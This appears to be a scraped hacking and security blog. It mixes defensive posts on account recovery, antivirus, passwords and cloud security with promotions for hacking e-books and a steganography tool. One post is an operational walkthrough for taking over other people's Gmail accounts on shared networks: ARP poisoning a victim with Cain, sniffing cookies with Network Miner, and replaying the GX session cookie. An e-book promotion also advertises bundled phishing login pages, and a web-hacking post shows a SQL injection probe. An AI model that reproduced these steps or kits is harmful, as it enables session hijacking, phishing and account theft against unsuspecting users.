What to Do When Your Email Account is Hacked?

How to Recover Hacked Email Accounts?

 

It can be a real nightmare if someone hacks and takes control of your email account as it may contain confidential information like bank logins, credit card details and other sensitive data. If you are one such Internet user whose email account has been compromised, then this post will surely help you out. In this post you will find the possible ways and procedures to get back your hacked email account.

 

For Gmail:

 

It can be a big disaster if your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.

Step -1: Try resetting your password since it is the easiest way to get your account back in action. In this process Google may ask you to answer the secret question or may send the password reset details to the secondary email address associated with your compromised account. You can reset you password from the following link

Gmail Password Reset Link

If you cannot find success from the Step-1 then proceed to Step-2.

 

Step-2: Many times the hacker will change the secret question and secondary email address right after the account is compromised. This is the reason for the Password Reset process to fail. If this is the case then you need to contact the Gmail support team by filling out the account recovery form. This form will ask you to fill out several questions like

1. Email addresses of up to five frequently emailed contacts
2. Names of any 4 Labels that you may have created in your account
3. List of other services associated with your compromised account
4. Your last successful login date
5. Account created date
6. Last password that you remember and many more…

You need to fill out this form as much accurately as possible. It is obvious to forget the dates of last login, account creation and similar terms. However you need to figure out the closest possible date/answers and fill out this form. This is your last chance! The more accurate the information filled out in the recovery form, the more the chances of getting your account back. You may reach the account recovery page form the following link

Account Recovery Form

 

For Yahoo and Hotmail:

 

Unfortunately for Yahoo/Hotmail there is no second option like filling out the form or contacting the support team. All you need to do is either answer the secret questions that you have setup or reset the password using the secondary email option. 

To initiate the password reset process just click on the Forgot password link in your login page and proceed as per the screen instructions.

 

I hope this post will help you recover the lost account.

Read More

How Antivirus Software Works

Due to ever increasing threat from virus and other malicious programs, almost every computer today comes with a pre-installed antivirus software on it. In fact, an antivirus has become one of the most essential software package for every computer. Even though every one of us have an antivirus software installed on our computers, only a few really bother to understand how it actually works! Well if you are one among those few who would really bother to understand how an antivirus works, then this article is for you.

 

How Antivirus Works

 

An antivirus software typically uses a variety of strategies in detecting and removing viruses, worms and other malware programs. The following are the two most widely employed identification methods:

 

1. Signature-based dectection (Dictionary approach)

 

This is the most commonly employed method which involves searching for known patterns of virus within a given file. Every antivirus software will have a dictionary of sample malware codes called signatures in it’s database. Whenever a file is examined, the antivirus refers to the dictionary of sample codes present within it’s database and compares the same with the current file. If the piece of code within the file matches with the one in it’s dictionary then it is flagged and proper action is taken immediately so as to stop the virus from further replicating. The antivirus may choose to repair the file, quarantine or delete it permanently based on it’s potential risk. 

As new viruses and malwares are created and released every day, this method of detection cannot defend against new malwares unless their samples are collected and signatures are released by the antivirus software company. Some companies may also encourage the users to upload new viruses or variants, so that the virus can be analyzed and the signature can be added to the dictionary.

Signature based detection can be very effective, but requires frequent updates of the virus signature dictionary. Hence the users must update their antivirus software on a regular basis so as to defend against new threats that are released daily.

 

2. Heuristic-based detection (Suspicious behaviour approach)

 

Heuristic-based detection involves identifying suspicious behaviour from any given program which might indicate a potential risk. This approach is used by some of the sophisticated antivirus softwares to identify new malware and variants of known malware. Unlike the signature based approach, here the antivirus doesn’t attempt to identify known viruses, but instead monitors the behavior of all programs.

For example, malicious behaviours like a program trying to write data to an executable program is flagged and the user is alerted about this action. This method of detection gives an additional level of security from unidentified threats.

File emulation: This is another type of heuristic-based approach where a given program is executed in a virtual environment and the actions performed by it are logged. Based on the actions logged, the antivirus software can determine if the program is malicious or not and carry out necessary actions in order to clean the infection.

Most commercial antivirus softwares use a combination of both signature-based and heuristic-based approaches to combat malware.

 

Issues of concern

 

Zero-day threats: A zero-day (zero-hour ) threat or attack is where a malware tries to exploit computer application vulnerabilities that are yet unidentified by the antivirus software companies. These attacks are used to cause damage to the computer even before they are identified. Since patches are not yet released for these kind of new threats, they can easily manage to bypass the antivirus software and carry out malicious actions. However most of the threats are identified after a day or two of it’s release, but damage caused by them before identification is quite inevitable.

Daily Updates: Since new viruses and threats are released everyday, it is most essential to update the antivirus software so as to keep the virus definitions up-to-date. Most softwares will have an auto-update feature so that the virus definitions are updated whenever the computer is connected to the Internet.

Effectiveness: Even though an antivirus software can catch almost every malware, it is still not 100% foolproof against all kinds of threats. As explained earlier, a zero-day threat can easily bypass the protective shield of the antivirus software. Also virus authors have tried to stay a step ahead by writing “oligomorphic“, “polymorphic” and, more recently, “metamorphic” virus codes, which will encrypt parts of themselves or otherwise modify themselves as a method of disguise, so as to not match virus signatures in the dictionary.

Thus user education is as important as antivirus software; users must be trained to practice safe surfing habits such as downloading files only from trusted websites and not blindly executing a program that is unknown or obtained from an untrusted source. I hope this article will help you understand the working of an antivirus software.

Read More

How to Become a Hacker

Most of us are very curious to learn Hacking and want to become a Hacker, but don’t know where to start. If you are in a samilar situation, then this article will most likely guide you to reach your goal.

On a regular basis, I get a lot of emails where people ask me ”How to Become a Hacker”. In fact, this question is not an easy one to answer, since hacking is not an art that can be mastered overnight. It requires knowledge, skills, creativity, dedication and of course the TIME. Everyone can become a hacker provided they learn it from the basics. So, if you wanna become a hacker, then all you need is a good source of knowledge that will guide you through various concepts of hacking from the basics.

 

What Skills do I Need to Become a Hacker?

 

In simple words, there is no magic to become a  Hacker. But like anything else that is worthwhile, it takes dedication and willingness to learn. It is most important to have a basic knowledge of topics such as operating system basics and it’s working, computer networks, computer security and of course programming. However, you need not be the expert in each or any of those topics mentioned. As you gain the basic knowledge of various branches of computer, you can choose any one as your favorite and advance in it. 

 

What is the Best Way to Become a Hacker?

 

As said earlier, the best way to become a hacker is to start from the basics. You will have to master the basics to build a strong foundation. And once this is done, you’ll be in a position to explore new ideas and start thinking like a Hacker.

There exists tons of books on the market that will teach you hacking, but unfortunately, it requires a set of pre-established skills and knowledge to understand the concepts explained in the book. Also, most of them are not suitable for the beginners who doesn’t know anything about hacking.

Anyhow, I have found an excellent Book for the Beginners that will teach you hacking from the basics. This book is the first step to fulfil your dream of becoming a hacker. When I first read this book, I myself was surprised at how simple and easy it was laid out. I decided to introduce this book for all those enthusiasts as it can be the right source for the beginners who are interested to learn hacking from the basics. The good thing about this book is that, any one can understand the concepts presented here, without the need for any prior knowledge. This book is called

This book will take you from the core to the top. It will tell you how to hack in simple steps. Everything in this book is presented in a simple and effective manner. It is a great source for the beginner who would like to become a hacker. This will install a Hacker’s Mindset on you.

The following skills are uncovered in this book

1. You will learn all the hacker underground tricks and learn to apply them in real world situations.

2. You will be put into a hacker mindset so that you will learn to think like a Hacker.

3. By learning how a hacker thinks and acts, you will be able to protect yourself from future hack attacks.

4. You will acquire knowledge nonexistent to 99.9% of the people in the world!

5. This underground handbook may get you interested in pursuing a career as an Ethical Hacker.

This book is of great value for all those who have a dream to become a Hacker.

So what are you waiting for? Go grab your copy now from the following link

 

  Download Hacker’s Underground Handbook Now!

 

 

---

Wait… This is not the end. Rather it is just the beginning of your journey. To become a hacker, all you need is dedication and hard work. I wish you all the best for your future success.

Read More

Why Use Internet Monitoring Software?

When asked for their view on Internet monitoring software, organizations typically give one of two answers. Some will say that Internet monitoring software is needed because otherwise employees will abuse their Internet privileges and waste a lot of time online instead of working. Others will tell you that privacy is sacred and Internet monitoring software may be seen as abusive and as an infringement on employee privacy.


In reality, both answers are incorrect, especially in the context of an organization’s security. Internet monitoring is not about spying or controlling employees per se; it’s about the safety of your network.

Although employee privacy needs to be respected, there are important business considerations as well. Being too strict and ‘prying’ into users’ online activity can lead to low morale and lower productivity. In some cases, it can lead to abuse or discrimination. However, a good Internet
monitoring solution can anonymize the data when reports are generated. This means that the administrator can get a detailed view of the organization’s Internet activity without knowing who is generating that traffic. Only in particular cases, such as in a legal investigation and the gathering of forensic evidence, would it be possible to identify an individual’s use of the Internet.

The real problem is how to protect the organization from web-based threats. Irresponsible Internet usage can put a company at risk inseveral ways;from downloading malware-infected software to
visiting websites that carry drive-by downloads or other exploits, as well as phishing sites. With a good Internet monitoring solution it is possible to allow users to access only authorized sites that are
relevant to one’s work – this greatly reduces the risk that your network is exposed to malicious sites and malware. Internet monitoring software will also scan any downloads for malware,sometimes using multiple anti-virus engines to ensure the biggest possible virus detection rate.

Internet monitoring software will also give valuable information that can help an administrator to detect problems and take corrective action in a timely manner. For example, if bandwidth usage is
excessive, the computer and application responsible for using excessive bandwidth can be identified and fixed. If there is no indication that the connection is being abused but bandwidth utilization remains high, it may be the case that the organization’s Internet backbone needs to be upgraded.

In security terms,information on bandwidth usage and the time of day when this usage occurs can help to identify malicious activity. If large bandwidth spikes are recorded on weekends when few or no one is working, then the network may have been infected with a botnet and the organization’s machines are being used to send spam or run DDoS attacks.

RobustInternet monitoring software will allow the administrator to strike a balance between productivity and personal freedom. Allowing users time to check their personal email or browse for a short time can have a positive impact on productivity. To prevent abuse, you can use Internet monitoring software to set quotas limiting the time a user can spend browsing certain site categories.

Internetmonitoring software can give you control over your Internet connection and employee browsing yet enable you to maintain a high level of security without impacting on productivity and morale. There is no need to take draconian measures. Simply use Internet monitoring software.

This guest post was provided by Emmanuel Carabott on behalf of GFI Software Ltd. GFI is a leading software developer that provides a single source for network administrators to address their network security, content security and messaging needs.

Read More

How to Hide Data in Image, Audio & Video Files: Steganography

Ever wondered to know how to hide secret messages in images, audio and video files? Well, in this post I will take you through a concept called steganography using which, it is possible to hide your secret information in image files, songs or any other file of your choice. At the end of this post, you can also download free stegnographic tools and start hiding your data.

What is Steganography?

Steganography is a means of obscuring data where secret messages are hidden inside computer files such as images, sound files, videos and even executable files so that, no one except the sender and the receiver will suspect the existence of stealth information in it. Steganography may also involve the usage of cryptography where the message is first encrypted before it is concealed in another file. Generally, the messages appear to be something else such as an image, sound or video so that the transfer of secret data remains unsuspected.

The main advantage of steganography over other methods such as cryptography is that, it will not arose suspicion even if the files fall in the hands of a third party. Unlike cryptographic messages, stegnographic messages will no way attract the attention of a third party by themselves. Thus stegnanography has an upper hand over cryptography as it involves both encryption and obscurity.

What are the Applications of Steganography?

Steganography is mainly used to obscure confidential information/data during storage or transmission. For example, one can hide a secret message in an audio file and send this to another party via email instead of sending the message in the textual format. The receiver on the other end will decrypt the hidden message using the private decryption key. In a worst case scenario, even if a third party does manage to gain access to the email, all he can find is the audio file and not the hidden data inside it. Other usage of steganography include digital watermarking of images for reasons such as copyright protection.

Eventhough steganography has many useful applications, some may use this technique for illegitimate purposes such as hiding a pornographic content in other large files. Roumors about terrorists using steganography for hiding and communicating their secret information and instructions are also reported. An article claiming that, al-Queda had used steganography to encode messages in images and transported them via e-mails, was reported by New York Times, in October 2001.

How do Steganography Tools Work?

Stegnography tools implement intelligent algorithms to carefully embed the encrypted text messages or data inside other larger files such as an image, audio, video or an executable file. Some tools will embed the encrypted data at the end of another file so that there will be enough room for storing larger data.

There are many steganography tools available online but only a few are able to work flawlessly. I did not find any tool that worked perfectly on both small and large data. However I have  managed to develop my own tool that can work perfectly on all types of files and all size of data. The tool is called “Stego Magic“. You can download it from the following link.

Download Stego Magic

Download StegoMagic.zip

The zip file contains two versions of Stego Magic: One for encrypting the text messages and the other for encrypting binary files. StegoMagic_TXT can be used to hide text messages in other files such as an image or a sound file. StegoMagic_BIN can be used to hide one binary file in another such as an executable file inside an image or an image inside a video file.

With Stego Magic, there is no limitation on the size and type of the file that you are intending to hide. For example, you can hide a video of size 1 GB in an image of size 1 MB or hide an executable file inside a WORD document. The tool is pretty straightforward to use and requires no special understanding of the concept.

At the end of the encryption process, a secret decryption key will be generated and the same is required during the decryption process.

How to Use Stego Magic?

Suppose you want to hide a text message inside a JPG file:

1. Place the JPG and the text file (.txt) in the same folder as that of StegoMagic_TXT.exe

2. Run StegoMagic_TXT.exe and follow the screen instructions to embed the text message inside the JPG image.

3. Note down the secret decryption key.

Now you can send this image to your friend via email. To decrypt the hidden message, your friend should load this JPG file onto the Stego Magic tool and use the secret decryption key.

I hope you enjoy this post . For queries and feedback, please pass your comments .

Read More

7 Things You Should Know About Online Passwords

As online technology has advanced, so have hackers techniques for getting into your accounts and stealing personal information. Hackers break into computers 2,244 times each day by figuring out weak usernames or passwords, according to University of Maryland data. If you’re still using the same password you made up when you opened your first email account, you are setting yourself up to be a hacking victim. But don’t worry; read on and learn how to set those Internet geniuses-gone-wrong up for failure by knowing the essentials about online passwords.

1.You need different passwords for each site

Since passwords are so hard to remember and you sometimes don’t sign into a site for months, many people have one or two passwords they use for everything. This is an easy way for hackers to get access to your accounts. Hackers will infiltrate sites that aren’t very secure and uncover the passwords used there. Then they run them on all the most popular sites; if you use the same password across the board, they can easily access several of your accounts. By using a different one for each site you log into, you’re not handing them your life if they figure out one password.

2.Longer passwords are harder to hack

It obviously takes less time to type in a five-character password than a 15-character one, but that also means it will take less time for an Internet burglar to figure out. Most of us probably don’t have the interest or the determination to break into someone’s account, so it’s hard to imagine going through enough combinations to find out a five-letter password. Hackers have advanced programs, though, that allow their computers to go through hundreds of possibilities every minute. Each letter, number, or symbol you add to your passwords multiplies the time it takes to figure it out, hopefully frustrating the hacker enough that he gives up. A six-letter password that’s all lower-case takes 10 minutes to hack while an eight-letter one takes four days.

3.You shouldn’t use a word from the dictionary

A dictionary attack sounds like something an overworked English teacher would do, but it’s actually a method of hacking passwords. Many hackers use automated password-guessers that go through the words in the dictionary to try to crack yours. If you’ve used any common words, there’s a good chance that a person equipped with the right tools will be able to break into your account very quickly. By combining two or three dictionary words, you increase the amount of time it will take to guess it exponentially. By adding symbols and numbers in the middle of words, you protect yourself almost completely from a dictionary attack.

4.Humans tend to choose passwords with personal meanings

Because we as humans are so forgetful, our first instinct when choosing a password is to think of words that mean something to us personally. This makes our choices very predictable to hackers. Pet names, favorite sports teams, birthdays, and other personal bits of information are some of the most commonly used passwords, so if anyone knows even a little bit about you (or can find it on Facebook), you could be in trouble. Stay away from using your own name, names of people in your family, or any memorable dates. It should go without saying that you shouldn’t be using “123456″ or “qwerty.”

5.Passwords need to be changed regularly

Some offices and organizations require you to change your password every 90 or 180 days, and while it seems like a hassle, it’s actually a smart practice to do with all your accounts. This is especially important to do with online banking sites or shopping sites where your credit card information might be stored. It’s also necessary if you access any accounts on public or shared computers because your password may be stored without you knowing it and some hackers use programs that record your keystrokes. By regularly changing your password to something completely different, you lower the risk of any major damage being done if someone did manage to hack your account.

6.There are guidelines for creating strong ones

Now that you know you shouldn’t use common words or your dog’s name to access your online accounts, you might wonder what you should use instead. Most Internet security experts recommend having a password that’s at least 8 characters long with a mix of capitalized and lower-case letters, numbers, and symbols. A common technique for avoiding easily guessed words is to put three unrelated words together and make up a short story that involves all three so you can remember it. You can also use the first letter of each word in your favorite line of a song or movie. Change out a couple letters for numbers or special characters, and your password should be too much trouble for a hacker to figure out.

7.Password managers can help you keep track of them all

Once you’ve updated all your passwords to long strings of letters and digits, you’re probably going to forget one along the way. Security experts say it’s a bad idea to write down a list of all your passwords and leave it on or near your computer because someone could easily steal it. The smartest alternative is to use a trusted password manager, which can be web-based technology, software you put on your computer, or a portable device. Password managers keep track of your various passwords and often protect against keystroke recording programs and look-alike sites that hackers use.

Read More

5 Basic Mobile Security Tips to avoid Dangerous Application ,McAfee

Now a days, attackers targets smart phones rather than the Desktop.  The number of malware application for mobile is increasing.  Infected mobile can be used to steal confidential data or  send out expensive text messages without a user’s consent.

Some Top tricks used by attackers:

• Malicious apps are usually offered for free and being disguised as fun applications such as games, calendar and comedy apps.
• Download the legitimate application off of one marketplace, insert malware into it and then re-publish it on other marketplaces or sites with a similar name.

In order to stay away from these type of risky application, McAfee released 5 basic Mobile Security Tips.

1. For the moment, the amount of detected smartphone malware is relatively low compared to malware that targets desktop or laptop PCs; but being aware that it exists is the first step toward protecting yourself and your data.
2. Research apps and their publishers thoroughly and check the ratings – better to install apps that are broadly used in the market or are recommended by your circle of friends and colleagues.
3. It is wise to purchase from a well-known, reputable app marketplace, such as Google’s Android Market or Apple’s App Store. One way for Android users to avoid installation of non-market applications is to de-select the “Unknown sources” option in the Applications Settings menu on their device. If the option is not listed, it means your mobile service provider has already done this for you.
4. When you install an app, you’ll see a list of permissions for services that are granted access to the hardware and software components on your device, like contacts, camera and location. If something in the permissions screen doesn’t look right, don’t install that app! For example, a game or alarm clock app probably doesn’t need to access your contacts or have the ability to transmit that data from your device.
5. Install antivirus software on your phone. It is a good idea to install an antivirus program when you get a new mobile device before you add any other apps.

Read More

Shield Against Hacking With a Daily Anti-Malware Scan

Hacking; it's the fear of every website owner and it keeps many online business owners up at night, checking their website and servers, making sure they are still in control. It's scary, one day you are doing well and selling products, the next, you can't log into your website, you have profane images instead of product images, and you are being a virus spreader that most search engines block and that most browsers will keep visitors from getting to. This can take years to recover from, even after the virus is gone, but there is hope. Malware often take a while to really get into the system and cause damage, and like with a human virus, if it is stopped early you will not encounter these terrible effects.

What is hacking?
Hacking is a large culture that has a large number of methods and attacks to get around your security, sneak into your website and server, and change everything around. There are many ways of doing this, but it is commonly done through malware that is designated to consume files and strike at an inopportune moment.

The problem about this is that, until the virus strikes, you may not know anything is happening. Just like a human virus, it is consuming files (like cells) and will manifest effects when it is already too late. By the time you notice that you cannot login, or that weird things are happening on your website, it's already too late. You have been taken over, and there are many disastrous effects to this.

The most direct effect is that your website is ruined. Well, that can be fixed easily enough. The real trouble is your private information. Do you have any credit cards, passwords, private business files and other classified information that only your or other associates should see? Hacking is a common form of corporate espionage, which is why you may be targeted.

If you have 10+ years in Internet security, maybe you can handle this by yourself; however, most website owners do not have this experience. Instead, you can use computer support Sydney daily malware scans. What does this do for you? Everyday, the computer support Sydney company will scan all your website files for malware. Since the malware typically needs several days or longer to really affect the website, this allows you to get rid of the malware before you see anything happen.

Another benefit to a daily malware scan is that most of the infected code or file can be metaphorically sanitized, leaving you with a clean website free of digital germs. Not only that, but this malware scanner is updated daily with new malware formats, methods and strategies that hackers think up. Think of this as a doctor who learns more and more about his field, just this works much faster.

This can also easily scale up from beginning websites to enterprise sized monoliths. So if you are worried about size, either because you have a small or large website, don't even let that be a concern. Your entire website can be easily scanned and searched for malware, which will then be prompted removed so you can enjoy the freedom of a clean website without viruses.

No website, especially a business website, can live a successful online life without daily malware scanning. Hackers come in for fun to destroy websites with weak code, and corporate espionage will target any competitors that do not have appropriate online security. Don't be another hacked website, don't fall to this devastating online virus. Use a daily malware scanner, and keep those nasty germs away from your precious website.

Read More

How to protect your cloud storage from hacking?

The concept of cloud storage has become more common these days especially when offered commercially since it's more cost effective for a large corporation to store data on an off-site data center. It is cheaper and they don't have to worry about finding space for storing data on server which can be the size of a warehouse. However, at individual level, it is preferred less over local storage devices like flash drive, hard drive and disk drive.

What is cloud storage?

To talk about the security level of cloud storage, we'll first have to talk about what cloud storage is. Cloud storage is an off-site data warehouse where data is transferred and stored. It can be accessed anywhere in the world provided an Internet access is available. You can store virtually anything in a cloud storage model. I say virtually, because you are transferring it over the Internet on a web-based interface or Application Programming Interface (API) so it makes it seem like it is stored virtually.

Audio, video, documents, and any other forms of data that you can think of can be stored on a cloud storage location. You also have the option of choosing to share files with others. Saving messages or draft on your email is actually a type of cloud storage. However, to store data on it, you'll have to pay according to the storage capacity and other factors as imposed by cloud storage companies.

Hacking and Security Issues

Hackers don't need to visit your house or office and use your computer to access data. They do it over the Internet through various means like email, attachments in downloads, and so on. Since cloud storage is the process of transferring, storing, and sharing data on a remote data center over the Internet, people question its integrity and security.

To figure out the level of security cloud storage provides; we first need to ask ourselves how we actually get hacked. A hacker simply cannot access my system without a medium of connecting my computer to theirs and the medium usually is the Internet. But if all the right measures are taken, then the risk of being hacked becomes close to none. Securing your system, having a good and updated anti-virus, using strong passwords that are not common like your name, date of birth, not opening attachments and emails of unknown senders, and so much more will keep your data safe. The same applies for cloud storage.

Just because you transfer your data over the Internet to a third party server doesn't mean the chances of your data getting hacked is relatively high. Making sure that the cloud storage data center is secure will assure you that your data won't get stolen. Find out about the measures cloud storage companies are taking to protect data. Ask what level of encryption and firewalls they are using and how safe is the process of data transfer from and to the data center before you start storing data onto their servers.

Hacking normally happens not because of the shortcomings of systems but rather because of human operators. Not taking proper measures like downloading free software or anything that is free, using an outdated antivirus and a weak or common password are generally the reasons you get hacked. So, it is through the user that a hacker can gain access to the system.

To ensure that your data is protected, make sure you've done all of the following:

• Use a strong password.
A strong password contains a combination of symbols, numbers, special characters like _, $ and so on. It should be a combination of uppercase and lowercase letters. Make sure you change your password periodically too - weekly, monthly or quarterly.

• Update your Anti-Virus
An outdated antivirus can pretty much be used to clean your garage. There are new viruses, Trojans, Worms, Botnets etc. so make sure your antivirus is updated.

• Do not accept malicious email.
Do not open emails and file attachments and spam from unknown senders.

• Avoid connecting an unsecure WiFi.

• Avoid freeware.
Do not download freeware unless you are absolutely sure of it. Make sure that the website is trustworthy before downloading anything. Hackers attach worms, viruses onto files that look and work normally.

• Do not share your password.
You have a password so that no one else can access your system. If you are going around telling people your password, then it's better not to have one instead.

• Set your cloud storage data sharing permission
Make sure you know whether you have opted to keep your stored data private or if you are sharing them with others.

• Find out about the company whose cloud storage service you'll be paying for
Store your data only on data centers of companies which uses an effective encryption when transferring data to and from your system and the data center itself. Know all about the security measures taken by the company to ensure your data is secure as well.

Read More

‘Ethical hacker’ launches book on unblocking Internet

During the launch of his book ‘How to Unblock Everything on the Internet’, on Wednesday, computer security expert and ‘ethical hacker’ Ankit Fadia said, “With so much advancements in technology, there is a possibility of cyber-war in the near future. Moreover, the concept of physical weapons is gradually phasing out due to computerisation. To prevent this cyber-war from happening, our country needs a strict security system. Even though there are cyber laws, they are not executed in a proper manner.”
While addressing a press conference, Fadia said, “Every year India has a requirement of 77,000 full-time ethical hackers for different tasks, but is able to get only 50 per cent of it. Computer hacking is very useful in fighting terrorism, as the techniques involved in it, can be used to decode encrypted e-mails of terrorists and for securing computer systems from hackers. Some negative minds may misuse hacking, but it could be better and will be used in a positive and progressive manner,” claimed, Ankit.
Ankit, who is running a computer hacking course at National Police Academy to train police personnel on cyber security as well as hacking, developed a taste to learn more about computer hacking at the age of 12. He wrote a book ‘Unofficial guide to ethical hacking’ when he was just 14. The book released, on Wednesday, is his 15th book, which has techniques of unblocking sites, which are these days blocked in every organisation.
Expressing resentment at statements of telecom minister Kapil Sibal for banning sites like Facebook, Twitter and YouTube, Fadia said that blocking of these websites by the government is a step away from democracy. “Computer hacking has great career opportunities and is a step towards making India secure,” he said.

Read More

Hacking Gmail account using GX cookie

Disclaimer: This post is only for education purpose.

Introduction

Hacking web application was always curious for the script kiddies. And hacking free web email account is every geek first attempt. The method which I will describe in this post is not new; the same method can be applied to yahoo and other free web email services too.

The method we will be using is cookie stealing and replaying the same back to the Gmail server. There are many ways you can steal cookie, one of them is XSS (Cross site scripting) discussed by other is earlier post. But we won’t be using any XSS here, in our part of attack we will use some local tool to steal cookie and use that cookie to get an access to Gmail account.

Assumption:

• You are in Local Area Network (LAN) in a switched / wireless environment : example : office , cyber café, Mall etc.
• You know basic networking.

Tool used for this attack:

• Cain & Abel
• Network Miner
• Firefox web browser with Cookie Editor add-ons

Attack in detail:

We assume you are connected to LAN/Wireless network. Our main goal is to capture Gmail GX cookie from the network. We can only capture cookie when someone is actually using his gmail. I’ve noticed normally in lunch time in office, or during shift start people normally check their emails. If you are in cyber café or in Mall then there are more chances of catching people using Gmail.

We will go step by step,
If you are using Wireless network then you can skip this Step A.

A] Using Cain to do ARP poisoning and routing:

Switch allows unicast traffic mainly to pass through its ports. When X and Y are communicating eachother in switch network then Z will not come to know what X & Y are communicating, so inorder to sniff that communication you would have to poison ARP table of switch for X & Y. In Wireless you don’t have to do poisoning because Wireless Access points act like HUB which forwards any communication to all its ports (recipients).

• Start Cain from Start > Program > Cain > Cain
• Click on Start/Stop Snigger tool icon from the tool bar, we will first scan the network to see what all IPs are used in the network and this list will also help us to launch an attack on the victim.
• Then click on Sniffer Tab then Host Tab below. Right click within that spreadsheet and click on Scan Mac Addresses, from the Target section select

All hosts in my subnet and then press Ok. This will list all host connected in your network. You will notice you won’t see your Physical IP of your machine in that list.
How to check your physical IP ?
> Click on start > Run type cmd and press enter, in the command prompt type
Ipconfig and enter. This should show your IP address assign to your PC.
It will have following outputs:


Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : xyz.com
IP Address. . . . . . . . . . . . : 192.168.1.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Main thing to know here is your IP address and your Default Gateway.

Make a note of your IP Address & default gateway. From Cain you will see list of IP addresses, here you have to choose any free IP address which is not used anywhere. We assume IP 192.168.1.10 is not used anywhere in the network.

• Click on Configure > APR > Use Spoof ed IP and MAC Address > IP

Type in 192.168.1.10 and from the poisoning section click on “Use ARP request Packets” and click on OK.

• Within the Sniffer Tab , below click on APR Tab, from the left hand side click on APR and now click on the right hand top spreadsheet then click on plus sign tool from top. The moment you click that it will show you list of IP address on left hand side. Here we will target the victim IP address and the default gateway.

The purpose is to do ARP poisoning between victim and the default gateway and route the victim traffic via your machine. From the left side click on Victim IP address, we assume victim is using 192.168.1.15. The moment you click on victim IP you will see remaining list on the right hand side here you have to select default gateway IP address i.e. 192.168.1.1 then click on OK.

• Finally, Click on Start/Stop Sniffer tool menu once again and next click on Start/Stop APR. This will start poisoning victim and default gateway.

B] Using Network Miner to capture cookie in plain text

We are using Network miner to capture cookie, but Network miner can be used for manythings from capturing text , image, HTTP parameters, files. Network Miner is normally used in Passive reconnaissance to collect IP, domain and OS finger print of the connected device to your machine. If you don’t have Network miner you can use any other sniffer available like Wireshark, Iris network scanner, NetWitness etc.

We are using This tool because of its ease to use.

• Open Network Miner by clicking its exe (pls note it requires .Net framework to work).
• From the “---Select network adaptor in the list---“ click on down arrow and select your adaptor If you are using Ethernet wired network then your adaptor would have Ethernet name and IP address of your machine and if you are using wireless then adaptor name would contain wireless and your IP address. Select the one which you are using and click on start.

Important thing before you start this make sure you are not browsing any websites, or using any Instant Mesaging and you have cleared all cookies from firefox.

• Click on Credential Tab above. This tab will capture all HTTP cookies , pay a close look on “Host” column you should see somewhere mail.google.com. If you could locate mail.google.com entry then in the same entry right click at Username column and click on “copy username” then open notepad and paste the copied content there.
• Remove word wrap from notepad and search for GX in the line. Cookie which you have captured will contain many cookies from gmail each would be separated by semicolon ( GX cookie will start with GX= and will end with semicolon you would have to copy everything between = and semicolon

Example : GX= axcvb1mzdwkfefv ; ßcopy only axcvb1mzdwkfefv

Now we have captured GX cookie its time now to use this cookie and replay the attack and log in to victim email id, for this we will use firefox and cookie editor add-ons.

C] Using Firefox & cookie Editor to replay attack.

• Open Firefox and log in your gmail email account.
• from firefox click on Tools > cookie Editor.
• In the filter box type .google.com and Press Filter and from below list search for cookiename GX. If you locate GX then double click on that GX cookie and then from content box delete everything and paste your captured GX cookie from stepB.4 and click on save and then close.
• From the Address bar of Firefox type mail.google.com and press enter, this should replay victim GX cookie to Gmail server and you would get logged in to victim Gmail email account.
• Sorry! You can’t change password with cookie attack.

How to be saved from this kind of attack?
Google has provided a way out for this attack where you can use secure cookie instead of unsecure cookie. You can enable secure cookie option to always use https from Gmail settings.
Settings > Browser connection > Always use https


------

pop3.

Read More

A Complete Beginners Guide To Ethical Hacking

Most of People are curious to become Hackers, but they do not know where to start, If you are in the same situation, then article will help you a lot.

Every can become a good Ethical hacker, Provided that he/she should learn from basics, remember Hacking is not an art which can be mastered overnight, you need to have patience and a strong will to learn.

There exist tons of books and videos of Hacking, but most of books require set of pre-established skills and knowledge to understand the concepts explained in the book

As a solution I have found a book which is completely dedicated to beginners! And so I Recommend "A Beginners Guide To Ethical Hacking"



This book is designed for absolute beginners who do not have any prior knowledge regarding this subject.

The Information given in this book will make you a better hacker.

How will the information in the book help me?

• You will learn All Ethical hacking techniques and also you will learn to apply them in real world situation
• You will start to think like hackers
• Secure your computer from trojans,worms, Adwares etc
• Amaze your friends with your newly learned tricks
• You will be able to protect your self from future hack attacks

Chapters in the book

The book is divided into 10 different chapters

1. Introduction
2. Hacking and Programming
3. Password Hacking
4. Password Cracking
5. Windows Hacking
6. Wifi Hacking
7. website Hacking
8. Malware
9. Safety and Countermeasures
10. Conclusion

Special Offers for you along with this E-book you will get 2 bonus packs for free.

• 1000 Hacking Tutorial : Hacking Tutorials contains1000 of the best hacking tutorials of 2010 leaked on the internet!
• Set of Phishers : You will also get a set of 30+ phishers(Fake login page) created by Rafay Baloch.

These offers are limited period only,so what are you waiting for Go and grab a Copy of "A Beginners Guide To Ethical Hacking" and start your Hacking journey.

Read More

The Attacker’s Process

State the process or methodology hackers use to attack networks

Attackers follow a fixed methodology. To beat a hacker, you have to think like one, so it’s important to understand the methodology. The steps a hacker follows can be broadly divided into six phases, which include pre-attack and attack phases:

1. Performing Reconnaissance
2. Scanning and enumeration
3. Gaining access
4. Escalation of privilege
5. Maintaining access
6. Covering tracks and placing backdoors

NOTE

A denial of service (DoS) might be included in the preceding steps if the attacker has no success in gaining access to the targeted system or network. Let’s look at each of these phases in more detail so that you better understand the steps.

Read More

Web Hacking

I will discuss some most commonly used web hacking techniques which helps hackers to hack any website. This will help you to SAVE YOUR SITE!

1. SQL Injection
2. XSS
3. Shells
4. RFI
5. There are some more but they are TOOO big to be discussed in here.

1. SQL Injection:

Most of the websites these days are connected to an SQL Database. Which helps them to store usernames and passwords [encrypted] when a guest registers to their website. SQL database processes a querie everytime a user logs in. It goes to the database, validates the password, if its correct then it logs in the user and if its not then it gives an error.
So the basic funda is executing a command to parase a query in the database to try to exploit the internet information of the database. I cant really put the entire tutorial about because this is the most complicated way to hack the website!

P.S.:- If you wanna check if YOUR website is vulnerable to RFI attach or not then do the following .

If your site's URL is:

Code:

 yoursite.com/index.php?id=545

just add a ' like this at the end

Code:

 yoursite.com/index.php?id=545'

2. XSS:

